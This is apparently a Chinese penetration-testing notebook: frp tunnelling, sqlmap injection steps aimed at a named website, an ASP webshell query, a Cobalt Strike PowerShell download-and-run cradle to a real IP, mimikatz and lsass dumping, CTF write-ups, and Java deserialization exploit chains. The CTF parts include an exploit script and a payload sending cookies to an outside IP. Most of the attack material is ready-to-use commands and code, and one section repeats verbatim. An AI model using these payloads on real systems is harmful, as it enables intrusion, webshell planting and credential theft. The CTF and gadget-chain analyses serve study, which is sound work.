使用frp进行流量转发

为什么使用FRP

通过在具有公网 IP 的节点上部署 frp 服务端,可以轻松地将内网服务穿透到公网,同时提供诸多专业的功能特性,这包括:

  • 客户端服务端通信支持 TCP、KCP 以及 Websocket 等多种协议。
  • 采用 TCP 连接流式复用,在单个连接间承载更多请求,节省连接建立时间。
  • 代理组间的负载均衡。
  • 端口复用,多个服务通过同一个服务端端口暴露。
  • 多个原生支持的客户端插件(静态文件查看,HTTP、SOCK5 代理等),便于独立使用 frp 客户端完成某些工作。
  • 高度扩展性的服务端插件系统,方便结合自身需求进行功能扩展。
  • 服务端和客户端 UI 页面。

FRP实现原理

frp 主要由客户端(frpc)和服务端(frps)组成,服务端通常部署在具有公网 IP 的机器上,客户端通常部署在需要穿透的内网服务所在的机器上内网没有公网ip,所以使用公网服务器搭载frp,内网反连公网frp,其他人需要访问内网的发起请求时,通过frp的代理到达内网

过程

1.frps frp 服务端的配置

[common]
server_port = 7000

2.frpc frp客户端,也就是你要访问的机器

配置:

server_addr是服务端的ip,server_port是服务端开放的端口,token就是token,到时候配置的代理,ip是服务器的ip,端口走的是7004,也就是remote_port

[common]
server_addr = 192.168.137.182
server_port = 7000
token = 9283eae321d
tls_enable=true

[socks5]
type = tcp
local_ip = 127.0.0.1
remote_port = 7004
plugin = socks5

指令:

frpc -c frpc_full.ini
frps -c frps.ini

sqlmap指令

##access数据库+sqlmap指令
###get类型注入
1.检测是否存在注入点:
'and 1=1and 1=2
2.使用sqlmap进行检测注入点是否可用

sqlmap.py -u url

3.完整的access+sqlmap注入指令

一个完整的access注入过程命令

(1)注入点判断:sqlmap.py-u http://www.antian365.com/index.asp?id=1

(2)猜数据库表:sqlmap.py -u http://www.antian365.com/index.asp?id=1 –tables

输入线程:10,回车后开始跑表,找到合适的表后,按下ctrl+c终止跑表。

(3)对某个表进行字段猜解

sqlmap.py-u ” http://www.antian365.com/index.asp?id=1” –tables –columns -Tadmin

例如获取admin表的字段如下: id,username,password

(4)对admin表字段内容进行猜解

sqlmap.py -u " http://www.antian365.com/index.asp?id=1"--dump -T admin -C "username,password"
(5)获取明文密码或者加密密码。通过cmd5.com等在线网站进行明文密码破解。

(6)寻找后台地址,并登录后台

(7)通过后台管理寻求可以获取webshell的功能模块,尝试获取webshell。

知道web真实路径,且可以通过脚本执行查询,则可以通过查询来获取webshell,例如网站真实路径:d:\freehost\fred200903\web\,则查询语句为:

SELECT '<%execute request("a")%>' into [a] in ' d:\freehost\fred200903\web\x.asp;a.xls''excel 8.0;' from a
Shell地址:http://www.somesite.com/ x.asp;a.xls,一句话后门密码a。

###POST类型注入:

1.Accesspost登录框注入

注入点:http://xxx.xxx.com/Login.asp

(1)通过burpsurte抓包保存为txt文件,使用sqlmap进行自动注入

例如对着注入点使用burp抓包,保存tg .txt文件,使用命令:

./sqlmap.py-r tg.txt -p tfUPass
(2)自动搜索表单的方式

sqlmap-u http://xxx.xxx.com/Login.asp –forms

(3)指定一个参数的方法

sqlmap-u http://xxx.xxx.com/Login.asp --data "tfUName=1&tfUPass=1"
2.Cookie注入

sqlmap -u "http://www.xxx.com/news.asp"--cookie "id=1" --table --level 2

1.sqlmap -r test.txt
判断是否存在注入点,test.txt中对注入点记得加个*号来做一下标记
2.

渗透测试备忘录—信息搜集

基本架构

  • ASP+ACCESS + II5.0/6.0+Windows server 2003
  • ASPX+Mssql+iis 7.0/7.5+ Windows server 2008
  • PHP+MYSQL+IIS
  • PHP+MYSQL+Apache
  • PHP+MYSQL+IIS
  • JSP+MYSQL+Nginx
  • JSP+Mssql+Tomcat
  • Jsp+oracle+Tomcat

域环境判断

1.

查看网关IP地址、Dns的IP地址、域名、本机是否和DNS服务器处于同一网段

ipconfig /all

然后过反向解析查询命令nslookup来解析域名的IP地址,用解析得到的IP地址进行对比,判断域控制器和DNS服务器是否在同一台服务器上

2.查看系统详细信息

systeminfo

域如果为WORKGROUP,则表示服务器不在域内。

3.查询当前登录域及登录用户信息

“工作站域DNS名称”如果为WORKGROUP,则表示为非预环境,”登录域“用于表示当前登录的用户是域用户还是本地用户

net config workstation

4.判断主域

net time /domain

拒绝访问——>存在域,当前用户不是域用户

命令成功完成——>存在域,且当前用户是域用户

工作组——>找不到域

渗透工具备忘录

webshell工具

冰蝎

冰蝎的连接较为简单:
输入url和密码以后选择脚本类型即可上线

image-20220418212525168

哥斯拉

哥斯拉马生成

管理——>生成——>生成对应的马并选择有效载荷和加密器

image-20220418220633085

哥斯拉马连接:

这里需要注意的是要记得配置代理,否则会链接失败,并且加密器要和刚才的对应

image-20220418220559912

CS

将CS上传至公网服务器,执行一下就可以启动,接下来将此IP以及密码填入即可,然后端口是50050

image-20220419183004280

获取beacon

创建listener

点击cobalt strike——>listeners——>Add(这里的端口需要设置成服务器上未使用的端口)

web Delivery 执行payload

选择scripted web delivery,然后生成payload

image-20220419192003622

接下来进行launch即可

image-20220419192042891

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://110.42.xxxx:8888/a'))"

image-20220419191939517

然后右键单击进行interact即可执行命令

tmux快捷键操作

发现tmux大家介绍的不错,所以想尝试一下,但发现无论ctrl+a,还是ctrl+b都不好使,经过一番努力后才发现应该是ctrl+b松开后再按其他键。例如ctrl+b ?,应该先同时按ctrl+b 松开后,shift+/(即输入?)。

# 查看有所有tmux会话
指 令:tmux ls
快捷键:Ctrl+b s

# 新建tmux窗口
指 令:tmux new -s <session-name>

# 重命名会话
指 令:tmux rename-session -t <old-name> <new-name>
快捷键:Ctrl+b $

# 分离会话
指 令:tmux detach 或者使用 exit(关闭窗口)
快捷键:Ctrl+b d

# 重新连接会话
指 令:tmux attach -t <session-name> 或者使用 tmux at -t <session-name>

#平铺当前窗格(个人很喜欢的快捷键,注意:平铺的是当前选中的窗格)
快捷键:Ctrl+b z (再次 Ctrl+b z 则恢复)

# 杀死会话
指 令:tmux kill-session -t <session-name>

# 切换会话
指 令:tmux switch -t <session-name>

# 划分上下两个窗格
指 令:tmux split
快捷键:Ctrl+b “

# 划分左右两个窗格
指 令:tmux split -h
快捷键:Ctrl+b %

# 光标切换到上方窗格
指 令:tmux select-pane -U
快捷键:Ctrl+b 方向键上

# 光标切换到下方窗格
指 令:tmux select-pane -D
快捷键:Ctrl+b 方向键下

# 光标切换到左边窗格
指 令:tmux select-pane -L
快捷键:Ctrl+b 方向键左

# 光标切换到右边窗格
指 令:tmux select-pane -R
快捷键:Ctrl+b 方向键右

https://blog.csdn.net/svap1/article/details/39694713

frp代理配置

首先配置一下服务器的代理,删除frpc 和 frpc.ini,编辑frps.ini

image-20220420220807853

frpc.ini配置,如果换了vps 改一下ip即可

image-20220420220653329

命令

./frps -c frps.ini	#启用服务端frp

mimikatz

注意:
当目标为win10或2012R2以上时,默认在内存缓存中禁止保存明文密码,但可以通过修改注册表的方式抓取明文。

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

windows2003

使用管理员身份运行

#提升权限
privilege::debug

#抓取密码
sekurlsa::logonpasswords

当目标为win10或2012R2以上时,默认在内存缓存中禁止保存明文密码,但可以通过修改注册表的方式抓取明文。

cmd修改注册表命令:

Copyreg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
#重启或用户重新登录后可以成功抓取
mimikatz # log
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords

获取高版本windows系统的密码凭证(procdump导出)

使用procdump将lsass dump下来(需要管理员权限)

procdump.exe -accepteula -ma lsass.exe 1.dmp

将lsass.dmp下载到本地后,然后执行mimikatz:

Copymimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit

为了方便复制与查看,可以输出到本地文件里面:

Copymimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" > pssword.txt

crackmap

2022-starCTF

前言

跟着EDI打了,但是感觉环境挺坑的–

oh-my-notepro

账号密码弱口令登录,然后,通过create 一个note 可以查询,发现

http://123.60.72.85:5002/view?note_id=p1ee659ofrlcro12mm3kp9ey5hwg464d

报错存在flask的debug报错页面,存在sql的堆叠注入image-20220417153125977

因为是python的语言,比较有限,因此现在的思路就是读取文件伪造一下pin码:

exp如下:

import random
import requests
import string
import re
import hashlib
from itertools import chain
def pin_mes():
s=requests.session()
url="http://121.37.153.47:5002/view?note_id="
session="session=eyJjc3JmX3Rva2VuIjoiZWJiZmZjNDFlNGQ5YzQxODFjMDZhYTBjNWZjZjIyZDg2NzAzMTZkMyIsInVzZXJuYW1lIjoiYSJ9.YlpPdw.4WCCNhQrbYsuRjp00IeRuAtJZ7U"
headers={
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding": "gzip, deflate",
"Connection": "close",
"Cookie": session,
"Upgrade-Insecure-Requests": "1"
}
# 1.username,用户名
# 2. uuidnode,当前网络的mac地址的十进制数
# 3. machine_id,docker机器id
#docker靶机由后面三个合并:1./etc/machine-id 2./proc/sys/kernel/random/boot_id 3./proc/self/cgroup
pin_me=['/etc/passwd','/sys/class/net/eth0/address','/etc/machine-id','/proc/self/cgroup']
mess=[]
find_data=re.compile(r"""
<h1 style=\"text-align: center\">
(.*?)
</h1>
""")
for i in pin_me:
ran_str = ''.join(random.sample(string.ascii_letters + string.digits, 7))
payload=f"1';CREATE TABLE {ran_str} (go TEXT)%23"
s.get(url+payload,headers=headers)
payload2=f"1';load data local infile \"{i}\" into table {ran_str}%23"
s.get(url + payload2,headers=headers)
payload3=f"1'union select 1,2,3,4,group_concat(go) from {ran_str}%23"
r=s.get(url + payload3,headers=headers).text
#print(r)
data=re.findall(find_data,r)
mess.append(data)
return mess

def get_pypin(gd,ma,cg):
probably_public_bits = [
'ctf', # username
'flask.app', # modname
'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.8/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
f'{gd}', # str(uuid.getnode()), /sys/class/net/ens33/address
# e86c4117-eed3-4a37-82bc-b5fa47a88e0b eabeaffb4e97696bfb087df1717743237ff21f537c0f36676dd49ae6c6065d7e
f'{ma+cg}'
# get_machine_id(), /etc/machine-id
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

if __name__=="__main__":
pin_data=pin_mes()
print(pin_data[1])
gd = int("".join("".join(pin_data[1]).split(":")),16)
ma=str("".join(pin_data[2]))
cg = re.findall(r"docker/(.*?),", str(pin_data[3]))[0]
get_pypin(gd,ma,cg)

拿到pin码以后就可以执行命令

然后比较奇怪的地方就是,有的时候console页面会显示not found,这里出题人给出的意见是

清除缓存即可。

oh-my-lotto

拿到flag的条件是让forecast==lotto_result,因此

java审计-lazymap

Lazymap

学习了前面,我们知道在这个利用链中,比较关键的是需要有调动到transform类的方法,因为transform的四个方法组合一下,最终才能成功执行命令,但是在前面我们使用TransformedMap来执行命令的,而在Ysoserial中使用的是lazymap,关键的代码在于其get方法

public Object get(Object key){
if(map.contain(Key)==false){
Object value = factory.transform(key);
map.put(key,value);
return value;
}
return map.get(key)
}

利用方法

在Lazymap,想要利用这个get方法,需要使用AnnotationInvocationHandler类的invoke方法

java对象代理

作用

实现类似php的魔术方法_call,劫持一个对象内部的方法调用——java.reflect.Proxy

Map proxyMap= (Map)Proxy.newProxyInstance(Map.class.getClassLoader(),Class[] {Map.class},handler);

使用方法:

Proxy.newProxyInstance的第一个参数是ClassLoader,,默认即可,第二个参数是需要代理的对象的集合,第三个参数是实现了InvocationHandler接口的对象,里面包含具体代理的逻辑

eg:

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.util.Map;

public class ExampleInvocationHandler implements InvocationHandler{
protected Map map;
public ExampleInvocationHandler(Map map){
this.map = map;
}

@Override
public Object invoke(Object proxy,Method method, Object[] args) throws Throwable{
if(method.getName().compareTo("get")==0){
System.out.println(Method.getName());
return "a";
}
return method.invoke(this.map,args);
}
}


ExampleInvocationHandler类实现了invoke方法,作用是检测到调用方法名get的时候返回a和方法名

外部调用这个ExampleInvocationHandler

import java.lang.reflect.InvocationHandler; 
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class App{
public static void main(String[] args) throws Exception {
InvocationHandler handler = new ExampleInvocationHandler(new HashMap());
Map proxyMap=(Map) Proxy.newwPorxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},hander);

proxyMap.put("hello","wo");
String result=(String) proxyMap.get("hello");
System.out.println(result);
}
}

触发Lazymap过程

1.AnnotationInvocationHandler是一个invocationhandler

2.我们将其对象进行proxy,在使用readObject时,调用任意方法,即进入invoke方法中,就会触发Lazymap#get

LazyMap构造利用链

1.使用Lazymap替换TransformedMap

Map outerMap = LazyMap.decorate(innerMap, transformerChain);
  1. sun.reflect.annotation.AnnotationInvocationHandler对象进行Proxy:

    Class clazz=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor construct=clazz.getDeclaredConstructor(Class.class,Map.class);
    construct.setAccessible(true);
    InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class,outerMap);

    Map proxyMap= (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[] {Map.class},handler);

2022plaidctf

yaca

主要的漏洞点在这个位置,这里的content-type可以替换成其他内容,这样可以动态执行js的内容这里描述一下两种方法

image-20220411210545854

importmap

这个是队内师傅做出来的方法,参考链接:https://www.digitalocean.com/community/tutorials/how-to-dynamically-import-javascript-with-import-maps#step-3-loading-external-code-with-import-maps

content-type设为importmap的时候,可以动态加载js的代码,方法如下:

<script type="importmap">
{
"imports":{

}
}
</script>

由于无法导入外部的js,所以我们只能劫持本地的js,通过动态加载本地的eval-code.mjs也可以实现,结果如下:

{
"type":"importmap",
"program":{
"name":"new program",
"scopes":{
"/js/":{
"/js/ast-to-js.mjs":"/js/eval-code.mjs"
}
},
"code":"{\"code\":\"window.location.href='http://110.42.133.120:9999?flag='+document.cookie\",\"variables\":[]}"
}
}

复现成功

image-20220411230221385

如何调用eval-code.js

上面其他部分的原理都挺清晰的,就是这里如何调用有些问题,想要看调用过程还得去debug吧debug失败,所以还是继续读了一下源码,发现在calc中存在evalCode和js的eval也是一个东西,重点关注一下传入参数的方式以及参数

可以发现在cacl计算模块当中使用的方法是这样的,传一个参数名为code,并且为json格式的即可

image-20220412221902165

执行的流程如下:一开始已经经过计算了,后面用再一次导入这个mjs文件,总共是导入两次

/js/eval-code.mjs

在第二次的时候执行了code里面的code参数,劫持成功

小结:

这题想要解出来,首先要定位到那个content,一开始再看这个题目的时候,就感觉这里挺奇怪的,不过那两天有其他事情要做,所以就没怎么看了,然后接下来需要理清楚的是:
1.可以使用这个importmap类型进行操作,而这个类型是允许导入其他js模块进行动态加载的,由于不能导入其他外部,只能调用内部的,而这个eval-code.mjs,其实翻一下文件就可以发现了
2.对这个文件进行调用的方式为:主要是针对文件的源码进行审计。

java_CommonCollections1利用

CommonCollections1利用链

demo

从P神的demo来理解

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class CommonCollections1 {
public static void main(String[] args) throws Exception{
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec",new Class[]{String.class},
new Object[]{"C:\\Windows\\System32\\calc.exe"})
};
Transformer transformerChain= new ChainedTransformer(transformers);

Map innerMap=new HashMap();
Map outerMap=TransformedMap.decorate(innerMap,null,transformerChain);
outerMap.put("test","x");

}
}

接下来学习一下里面的接口和类

TransformedMap

TransformedMap用于对java标准数据结构Map做一个修饰,被修饰过的Map在添加新的元素时,将可以执行一个回调。我们通过下面这行代码对innerMap进行修饰,传出的outerMap即是修饰后的Map:

Map outerMap = TransformedMap.decorate(innerMap, keyTransformer,valueTransformer);

其中,keyTransformer是处理新元素的key的回调,valueTransormer是处理新元素的value的回调。我们所说的回调,并不是传统意义上的回调函数,而是一个实现了Transformer接口的类。

Transformer的作用是:对其集合的元素进行增加,删除或修改时调用transform方法进行特定的修饰变换,而这个transform是我们自己定义的

Transformer

Transformer是一个接口,它只有一个待实现的方法:

public interface Transformer{
public object transform(object input);
}

TransformedMap在转换Map的新元素时,就会调用transform方法,这个过程就类似在调用一个“回调函数”,这个回调的参数是原始对象。

ConstantTransformer

ConstantTransformer是实现了Transformer接口的一个类,它的过程就是在构造函数的时候传入一个对象,并在transform方法将这个对象再返回。

public ConstantTransformer(Object constantToReturn){
super();
iConstant=constantToReturn;
}
public Object transform(Object input){
return iConstant;
}

作用是 包装任意一个对象,并且在执行回调时,返回这个对象,方便后续操作。

InvokerTransformer

InvokerTransformer是实现了Transformer接口的一个类,这个类可以用来执行任意方法,也是反序列化能执行任意代码的关键。

在实例化这个InvokerTransformer时,需要传入三个参数,第一个参数是待执行的方法名,第二个参数是这个函数的参数列表的参数类型,第三个参数是传给这个函数的参数列表。

public InvokerTransformer(String methodName, Class paramTypes, Object[] args){
super();
iMethodName=methodName;
iParamTypes=paramTypes;
iArgs=args;
}

后面的回调transform方法,就是执行了input对象的iMethodName方法。

public Object transform(object input){
if(input == null){
return null;
}
try{
Class cls=input.getClass();
Method method = cls.getMethod(iMethodName,iParamTypes);
return method.invoke(input,iArgs);
}catch(NoSuchMethodException ex){
throw new FunctorException("InvokerTransformer: The method '"+iMethodName+"'on'"+input.getClass() + "'does not exist");
}catch (IllegalAccessException ex){
throw new FunctorException("InvokerTransformer: The method '" +
iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" +
iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}

ChainedTransformer

ChainedTransformer的作用是将内部的多个Transformer串在一起,将前一个回调返回的结果,作为后一个回调的参数传入

public ChainedTransformer(Transformer[] transformers){
super();
iTransformers = transformers;
}

public Object transform(Object object){
for(int i=0; i< iTransformers.length; i ++){
object = iTransformers[i].transform(object);
}
return object;
}

理解demo

Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec",new Class[]{String.class},
new Object[]{"C:\\Windows\\System32\\calc.exe"})
};
Transformer transformerChain= new ChainedTransformer(transformers);

通过新建一个ChainedTransformer,一开始包含了两个Transformer;第一个是ConstantTransformer,根据前面的学习,他的作用是构造函数的构造函数的时候传入一个对象,并在transform方法的时候将这个对象返回,而invokerTransformer,则是执行Runtime对象的exec,参数是后面的地址。

此时的ransformerChain将内部的多个TransformedMap串接在一起,将其和封装入innerMap,通过在Map中放入一个新元素触发回调

Map innerMap=new HashMap();
Map outerMap=TransformedMap.decorate(innerMap,null,transformerChain);
outerMap.put("test","x");

用TransformedMap编写POC

要触发上面CC链,需要在Map中放入一个新元素来实现触发。因此我们需要找到一个链,在反序列化的起点readObject逻辑里有写入操作。

这个类就是sun.reflect.annotation.AnnotationInvocationHandler,其readObject方法中,我们重点关注一下写入部分的代码

Map<String, Class<?>> memberTypes = annotationType.memberTypes();
memberValue.setValue( new AnnotationTypeMismatchExceptionProxy( value.getClass() + "[" + value + "]").setMember( annotationType.members().get(name)));

其中memberValues就是反序列化后得到的Map,也是经过了TransormedMap修饰的对象,这里遍历了它的所有元素,并依次设置值,在调用setValue设置值的时候就会触发TransformedMap里注册的Transform,那么就会执行我们上面构造的代码。

由于sun.reflect.annotation.AnnotationInvocationHandler是jdk内部的类,不能直接使用new来实例化,所以需要使用反射来获取到其构造方法,,而这个类的构造函数有两个参数,第一个参数是Annotation类,第二个参数是前面构造的Map。

Class clazz= Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct= clazz.getDeclaredConstructor(Class.class,Map.class);
construc.setAccessible(true);
Object obj=construc.newInstance(Retention.class,outerMap);

为什么要使用反射

通过使用以下代码,我们可以获得序列化流,

ByteArrayOutputStream barr= new ByteArrayOutputStream();
ObjectOutputStream oos= new ObjectOutputStream(barr);
oos.writeObject(obj);
oos.close();

值得注意的是:待序列化的对象和所有它使用的内部属性对象,必须都实现java.io.Serializable接口,但是最早传给ConstantTransformaer的是Runtime.getRuntime(),Runtime类是没有实现java.io.Serializable接口,所以不允许被序列化。

​ 因此我们可以通过反射来获取到上下文中的Runtime对象,

Method f = Runtime.class.getMethod("getRuntime");
Runtime r=(Runtime) f.invoke(null);
r.exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");

转化为Transformer的写法如下:

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{
String.class,
Class.class
},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{
Object.class,
Object[].class
},
new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{
String.class
},
new String[]{
"C:\\Windows\\System32\\calc.exe"
}),
};

这个和前面的区别在于,Runtime.getRuntime()换成了Runtime.class,前者为java.lang.Runtime对象,后者为java.lang.Class对象

exp

package test;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;

public class CommonCollections1 {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{
String.class,
Class[].class
},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{
Object.class,
Object[].class
},
new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{
String.class
},
new String[]{
"C:\\Windows\\System32\\calc.exe"
}),
};
Transformer transformerChain= new ChainedTransformer(transformers);

Map innerMap=new HashMap();
innerMap.put("value","x");
Map outerMap=TransformedMap.decorate(innerMap,null,transformerChain);


Class clazz=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class,Map.class);
construct.setAccessible(true);
InvocationHandler handler=(InvocationHandler) construct.newInstance(Retention.class,outerMap);



ByteArrayOutputStream barr= new ByteArrayOutputStream();
ObjectOutputStream oos= new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();

System.out.println(barr);
ObjectInputStream ois=new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o=(Object) ois.readObject();

}
}

小结:

总结一下这部分的内容:首先利用的是Ysoserial的hashmap函数,实现反序列化,链条使用的类是commoncollections1中的,其中最重要的就是Transformed,可以调用一个函数,通过一系列操作,即可任意代码执行,但是值得一提的是,调用的类需要具有serialize接口,才能实现序列化。

java审计-反序列化

readObject/writeObject

java在序列化一个对象时,将会调用这个对象中的writeobject方法,参数类型是objectOutputStream,开发者可以将任何内容写入这个stream中,反序列化时,会调用readObject,开发者也可以从中读取出前面写入的内容,并进行处理

ysoserial-URLDNS

gadget chains:利用链

URLDNS是ysoserial中一个利用链的名字,其结果是一次DNS请求

作用

  • 使用java内置的类构造,对第三方库没有依赖
  • 在目标没有回显的时候,能够通过DNS请求得知是否存在反序列化漏洞

利用链分析

触发反序列化的方法是readObject,为了研究ysoserial中的这个利用链,我们从payload入手,其中写到

public class URLDNS implements ObjectPayload<Object>{
public Object getObject(final String url) throws Exception{
......
HashMap ht = new HashMap();
}
}

可以发现,在getObject中返回的被反序列化的对象是HashMap,因此接下来就是在这里打个断点,跟一下其过程

如何使用ysoserial项目进行调试

打开工程,然后针对缺少的依赖,可以直接点击+号进行添加

接下来看一下pom.xml可以发现主类是

ysoserial.GeneratePayload
img

接下来到这个主类这里进行分析,然后右键点击开始debug,在上面设置一下参数

image-20220406145109791

可以发现已经跑起来了,并且在断点这里停下了
image-20220406145152006

分析

URLDNS的getObject为反序列化的起点,所以来这里进行分析,发现其调用了HasMap(),并且这边注释到会链接到URL

image-20220406145550294

在hashmap函数中,我们首先看看反序列化方法readObject(),而其中比较特殊的点就在这里,在前面所说

The Java URL class has an interesting property on its equals and
* hashCode methods. The URL class will, as a side effect, do a DNS lookup
* during a comparison (either equals or hashCode).

因此我们继续跟进这个函数

image-20220406183653328

可以发现,在hash函数调用了hashcode的方法,并且此时传入我们一开始设定的url

image-20220406193918163

再往下,可以发现这里的handler是指向一个url类的(一开始我在这里下断点,但是初始化debug的时候,也会经过这里,而那个只是在寻找jar包,所以这里的key的属性就不同了,导致后面的handler指向的函数也不同,有很多同名函数)

image-20220406194122333

而此时的handler就会指向URLStreamHandler的hashCode方法,在这个hashcode方法中可以发现调用了getHostAddress

image-20220406194654193

继续跟进,可以发现调用了getByName

InetAddress.getByName(host) 的作⽤是根据主机名,获取其IP地址,在⽹络上其实就是⼀次DNS查询。

image-20220406194859359

总结

这次的Gadget流程如下:
1.HashMap->readObject()
2.HashMap->hash()
3.URL->hashCode()
4.URLStreamHandler->hashCode()
5.URLStreamHandler->getHostAddress()
6.InetAddress->getByName()

poc

知道整条利用链以后,就要学习一下如何编写反序列化exp了,后面再来补坑

java_URLDNS

readObject/writeObject

java在序列化一个对象时,将会调用这个对象中的writeobject方法,参数类型是objectOutputStream,开发者可以将任何内容写入这个stream中,反序列化时,会调用readObject,开发者也可以从中读取出前面写入的内容,并进行处理

ysoserial-URLDNS

gadget chains:利用链

URLDNS是ysoserial中一个利用链的名字,其结果是一次DNS请求

作用

  • 使用java内置的类构造,对第三方库没有依赖
  • 在目标没有回显的时候,能够通过DNS请求得知是否存在反序列化漏洞

利用链分析

触发反序列化的方法是readObject,为了研究ysoserial中的这个利用链,我们从payload入手,其中写到

public class URLDNS implements ObjectPayload<Object>{
public Object getObject(final String url) throws Exception{
......
HashMap ht = new HashMap();
}
}

可以发现,在getObject中返回的被反序列化的对象是HashMap,因此接下来就是在这里打个断点,跟一下其过程

如何使用ysoserial项目进行调试

打开工程,然后针对缺少的依赖,可以直接点击+号进行添加

接下来看一下pom.xml可以发现主类是

ysoserial.GeneratePayload
img

接下来到这个主类这里进行分析,然后右键点击开始debug,在上面设置一下参数

image-20220406145109791

可以发现已经跑起来了,并且在断点这里停下了
image-20220406145152006

分析

URLDNS的getObject为反序列化的起点,所以来这里进行分析,发现其调用了HasMap(),并且这边注释到会链接到URL

image-20220406145550294

在hashmap函数中,我们首先看看反序列化方法readObject(),而其中比较特殊的点就在这里,在前面所说

The Java URL class has an interesting property on its equals and
* hashCode methods. The URL class will, as a side effect, do a DNS lookup
* during a comparison (either equals or hashCode).

因此我们继续跟进这个函数

image-20220406183653328

可以发现,在hash函数调用了hashcode的方法,并且此时传入我们一开始设定的url

image-20220406193918163

再往下,可以发现这里的handler是指向一个url类的(一开始我在这里下断点,但是初始化debug的时候,也会经过这里,而那个只是在寻找jar包,所以这里的key的属性就不同了,导致后面的handler指向的函数也不同,有很多同名函数)

image-20220406194122333

而此时的handler就会指向URLStreamHandler的hashCode方法,在这个hashcode方法中可以发现调用了getHostAddress

image-20220406194654193

继续跟进,可以发现调用了getByName

InetAddress.getByName(host) 的作⽤是根据主机名,获取其IP地址,在⽹络上其实就是⼀次DNS查询。

image-20220406194859359

总结

这次的Gadget流程如下:
1.HashMap->readObject()
2.HashMap->hash()
3.URL->hashCode()
4.URLStreamHandler->hashCode()
5.URLStreamHandler->getHostAddress()
6.InetAddress->getByName()

poc

知道整条利用链以后,就要学习一下如何编写反序列化exp了,后面再来补坑